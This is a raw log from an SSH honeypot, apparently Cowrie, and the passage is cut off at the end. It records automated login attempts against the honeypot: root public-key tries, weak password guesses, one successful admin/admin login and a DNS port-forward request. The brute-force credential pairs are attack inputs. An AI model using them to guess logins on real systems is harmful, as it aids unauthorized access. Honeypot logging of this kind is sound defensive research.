{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:cc:9d:dd:ff:c5:15:1c:6a:ff:74:8a:71:15:99:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvzbZ73CGCJSfVNixi3tZYi24kvaFPbkHrboalx2C1+Ebfw9cK3NeHgg6S75NHZhph6DvWhatGyWcI4XPGo6u5y/2Pj5pqH4MNJFWRukKa7FhqC1cmUutaOqtRPQuOaRZN+SPTiTUMz6dFDcVJp08XmVlAI7NdfkmL4A+sqj0zFmvmaIgjO8yr2bv3E60n7yWr6J1NpyqlRkrsRAapQox4z0LtRKrjGyNmlbK4t4y1kDYagodzvhPelAouoOkxpKfgSSVKSvFqP5JmRomvbScESFE9JPmpZrBpPCrIbiw7j7GUwLS3Qa+BSJcqjQa5zdiYKdcp8JW6JkemmTm0bNAPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:cc:9d:dd:ff:c5:15:1c:6a:ff:74:8a:71:15:99:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:56.879371Z","src_ip":"96.127.172.218","session":"2841688fabd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:cc:9d:dd:ff:c5:15:1c:6a:ff:74:8a:71:15:99:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvzbZ73CGCJSfVNixi3tZYi24kvaFPbkHrboalx2C1+Ebfw9cK3NeHgg6S75NHZhph6DvWhatGyWcI4XPGo6u5y/2Pj5pqH4MNJFWRukKa7FhqC1cmUutaOqtRPQuOaRZN+SPTiTUMz6dFDcVJp08XmVlAI7NdfkmL4A+sqj0zFmvmaIgjO8yr2bv3E60n7yWr6J1NpyqlRkrsRAapQox4z0LtRKrjGyNmlbK4t4y1kDYagodzvhPelAouoOkxpKfgSSVKSvFqP5JmRomvbScESFE9JPmpZrBpPCrIbiw7j7GUwLS3Qa+BSJcqjQa5zdiYKdcp8JW6JkemmTm0bNAPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:56.883173Z","src_ip":"96.127.172.218","session":"2841688fabd2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:b7:6a:5e:0a:53:cb:9a:df:97:27:b7:29:4a:83:89","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIkeGLiVFjnvSwqqt3T5PvdZ4BDpEDFZoCkJPhCRhf6tKeHP1XCz8RX4VI5hR3p2dp7syaTv7MFXrUPQRqJnLlWvxG3LYtFTLMGauvWaMOHEBJ5gyebC1ksDXzQoavSoaFNHm1EIZ+ffMpfVd7/nV5xLrFZ0SfF6ypYlKJvcMnkpAAAAFQDHZ6X7ZFuBXAugivTeVxTKRRk/yQAAAIA17N8UOcc+GlrObdjwabpILmA+FGn+ycOrDsxl9kLsvNVB31zPhCf2ZXWwUJlYQ4bSaNiHNvbuG9k9h2IT4AYv2+jcfe6yt3q9buG1EvZQYdFUrNJe5Yc5yFYVHYPxuGfPcxxn6KYfHxq/q26LC6itVW+tXctsRfEL7Xjz3UUrDQAAAIA+Xf3UoMplhBCvof0KAV2PkGTUw2di80LaxrLVZJadvM5t9Tnxk19xUr5ThBnuLug4MAh0aBD5Mkq1rF20HzYsYKxLuPsJdG6CE2fBm+lwIP3EYkef/23c8pvSiBbSptSpyryZEIabTbZU7D42Ioe78VMOrbwnsP6GR8/ec0TJEA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint e2:b7:6a:5e:0a:53:cb:9a:df:97:27:b7:29:4a:83:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:56.927553Z","src_ip":"96.127.172.218","session":"2841688fabd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:b7:6a:5e:0a:53:cb:9a:df:97:27:b7:29:4a:83:89","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIkeGLiVFjnvSwqqt3T5PvdZ4BDpEDFZoCkJPhCRhf6tKeHP1XCz8RX4VI5hR3p2dp7syaTv7MFXrUPQRqJnLlWvxG3LYtFTLMGauvWaMOHEBJ5gyebC1ksDXzQoavSoaFNHm1EIZ+ffMpfVd7/nV5xLrFZ0SfF6ypYlKJvcMnkpAAAAFQDHZ6X7ZFuBXAugivTeVxTKRRk/yQAAAIA17N8UOcc+GlrObdjwabpILmA+FGn+ycOrDsxl9kLsvNVB31zPhCf2ZXWwUJlYQ4bSaNiHNvbuG9k9h2IT4AYv2+jcfe6yt3q9buG1EvZQYdFUrNJe5Yc5yFYVHYPxuGfPcxxn6KYfHxq/q26LC6itVW+tXctsRfEL7Xjz3UUrDQAAAIA+Xf3UoMplhBCvof0KAV2PkGTUw2di80LaxrLVZJadvM5t9Tnxk19xUr5ThBnuLug4MAh0aBD5Mkq1rF20HzYsYKxLuPsJdG6CE2fBm+lwIP3EYkef/23c8pvSiBbSptSpyryZEIabTbZU7D42Ioe78VMOrbwnsP6GR8/ec0TJEA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:56.931633Z","src_ip":"96.127.172.218","session":"2841688fabd2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:43:cd:29:fd:a1:77:44:bc:12:88:db:0b:b8:c0:b8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ3ObVFRHZG2AnBV7dp6SQanrFa8vaIW77cc8eBuSNiP5mD6W4LugQ8wkVQEQx6+gU/VmiKpAukc93d4s8xYZFls8MECZVCBIURY9UGyLHpgvKz+uSLPjfuX/EhPTCVTDFXmOjMr1pFWsdBVTWkSHufOHBrJLNEGX9VgFw4vr6rHAAAAFQDJ8GUlQKE+b7xZ6SXzFg+ZcNuPSQAAAIEAjoVbXh2NSQq6d3c/rPf3xkY03V4eLNsxWUEgoNDRHBwIgB2xt7nCwVPYhQAvu6l3LERIQ60T8Vn/UYjfGPn5GrVtiHPQyTsE6cnk/VHf8SJqoK8Mu5q+vFiwoDqI6Ir9QR89/R3bPTGDy1m6U7aX1KpgkDbjFQXUM+5b2mg0MO0AAACAEXQpj9HaFoHHncEOgP9/3rirqWIs1ks+Hbv9eFI7gu3Bq3g5kyUBjtB5liuUKqmkkff7r4G/CsRPmbJB60F8oUP22ueziWlpjBbHPMXkDOUF3yhLlVqjSzQup02VVhBPyN0SxayZb70SMHC/QQSk2YkS4xOdPseet0sBOwuem38=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint de:43:cd:29:fd:a1:77:44:bc:12:88:db:0b:b8:c0:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:56.973992Z","src_ip":"96.127.172.218","session":"2841688fabd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:43:cd:29:fd:a1:77:44:bc:12:88:db:0b:b8:c0:b8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ3ObVFRHZG2AnBV7dp6SQanrFa8vaIW77cc8eBuSNiP5mD6W4LugQ8wkVQEQx6+gU/VmiKpAukc93d4s8xYZFls8MECZVCBIURY9UGyLHpgvKz+uSLPjfuX/EhPTCVTDFXmOjMr1pFWsdBVTWkSHufOHBrJLNEGX9VgFw4vr6rHAAAAFQDJ8GUlQKE+b7xZ6SXzFg+ZcNuPSQAAAIEAjoVbXh2NSQq6d3c/rPf3xkY03V4eLNsxWUEgoNDRHBwIgB2xt7nCwVPYhQAvu6l3LERIQ60T8Vn/UYjfGPn5GrVtiHPQyTsE6cnk/VHf8SJqoK8Mu5q+vFiwoDqI6Ir9QR89/R3bPTGDy1m6U7aX1KpgkDbjFQXUM+5b2mg0MO0AAACAEXQpj9HaFoHHncEOgP9/3rirqWIs1ks+Hbv9eFI7gu3Bq3g5kyUBjtB5liuUKqmkkff7r4G/CsRPmbJB60F8oUP22ueziWlpjBbHPMXkDOUF3yhLlVqjSzQup02VVhBPyN0SxayZb70SMHC/QQSk2YkS4xOdPseet0sBOwuem38=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:56.977924Z","src_ip":"96.127.172.218","session":"2841688fabd2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:7e:a1:a5:a4:97:d1:7f:15:1d:d2:aa:47:24:c5:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuKjw/q0nNKwxgtNi+vaZfSTIshRYk57iXYCVani8reBjtj4tbmGtkIsEY4bPPt17riVuzoz8xPV3wV4YIEAIU71FAqQv1zweCT7B4LPO7vezH1NTNrwXRB0xW2ReqR31hCb+14+eAql0VXEjSdtAQtFQnShG3joYFaTgEj8wNqNvUbsUBs4sKpw3Bq+uxrAjRnYfz9gUhNcVJ5thHAFFK2oKZvm5v/GG65scvrvVwzPCpV37NClVrYQO9K4XHYCl0wBH3r6jQcyjg3GO4u/eo6dGanc+9XRlOqu6M1sJkU6ZVJ6cuFzgokrHiDYNGxtZpiVIbZgrsStAquZ6J1XNoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:7e:a1:a5:a4:97:d1:7f:15:1d:d2:aa:47:24:c5:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:57.022824Z","src_ip":"96.127.172.218","session":"2841688fabd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:7e:a1:a5:a4:97:d1:7f:15:1d:d2:aa:47:24:c5:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuKjw/q0nNKwxgtNi+vaZfSTIshRYk57iXYCVani8reBjtj4tbmGtkIsEY4bPPt17riVuzoz8xPV3wV4YIEAIU71FAqQv1zweCT7B4LPO7vezH1NTNrwXRB0xW2ReqR31hCb+14+eAql0VXEjSdtAQtFQnShG3joYFaTgEj8wNqNvUbsUBs4sKpw3Bq+uxrAjRnYfz9gUhNcVJ5thHAFFK2oKZvm5v/GG65scvrvVwzPCpV37NClVrYQO9K4XHYCl0wBH3r6jQcyjg3GO4u/eo6dGanc+9XRlOqu6M1sJkU6ZVJ6cuFzgokrHiDYNGxtZpiVIbZgrsStAquZ6J1XNoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:57.028880Z","src_ip":"96.127.172.218","session":"2841688fabd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:19:57.079716Z","src_ip":"96.127.172.218","session":"2841688fabd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":47984,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ec600ad805f","protocol":"ssh","message":"New connection: 152.53.22.186:47984 (159.203.135.109:22) [session: 7ec600ad805f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:09.477205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:09.482735Z","src_ip":"152.53.22.186","session":"7ec600ad805f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:09.565110Z","src_ip":"152.53.22.186","session":"7ec600ad805f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"2test","message":"login attempt [test2/2test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:09.924503Z","src_ip":"152.53.22.186","session":"7ec600ad805f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:11.030484Z","src_ip":"152.53.22.186","session":"7ec600ad805f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6648,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2625b23a17f","protocol":"ssh","message":"New connection: 87.251.64.176:6648 (10.17.0.5:22) [session: f2625b23a17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:19.908749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:19.914365Z","src_ip":"87.251.64.176","session":"f2625b23a17f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:20.011678Z","src_ip":"87.251.64.176","session":"f2625b23a17f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:20.353784Z","src_ip":"87.251.64.176","session":"f2625b23a17f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:20.514578Z","session":"f2625b23a17f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:20.619006Z","src_ip":"87.251.64.176","session":"f2625b23a17f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:20.773329Z","src_ip":"87.251.64.176","session":"f2625b23a17f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":48768,"dst_ip":"159.203.135.109","dst_port":22,"session":"95892a1607a2","protocol":"ssh","message":"New connection: 152.53.22.186:48768 (159.203.135.109:22) [session: 95892a1607a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:56.680353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:56.685401Z","src_ip":"152.53.22.186","session":"95892a1607a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:56.776117Z","src_ip":"152.53.22.186","session":"95892a1607a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tuser","password":"123456","message":"login attempt [tuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:57.167924Z","src_ip":"152.53.22.186","session":"95892a1607a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:20:58.261276Z","src_ip":"152.53.22.186","session":"95892a1607a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54504,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f74a294426d","protocol":"ssh","message":"New connection: 103.15.226.202:54504 (10.17.0.5:22) [session: 2f74a294426d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:21:09.347035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:21:09.351649Z","src_ip":"103.15.226.202","session":"2f74a294426d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:21:09.600835Z","src_ip":"103.15.226.202","session":"2f74a294426d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"St@ker#Pass123!","message":"login attempt [user/St@ker#Pass123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:21:10.351005Z","src_ip":"103.15.226.202","session":"2f74a294426d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:21:11.606700Z","src_ip":"103.15.226.202","session":"2f74a294426d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":42468,"dst_ip":"159.203.135.109","dst_port":22,"session":"48237a0d1fd2","protocol":"ssh","message":"New connection: 152.53.22.186:42468 (159.203.135.109:22) [session: 48237a0d1fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:21:43.831461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:21:43.836884Z","src_ip":"152.53.22.186","session":"48237a0d1fd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 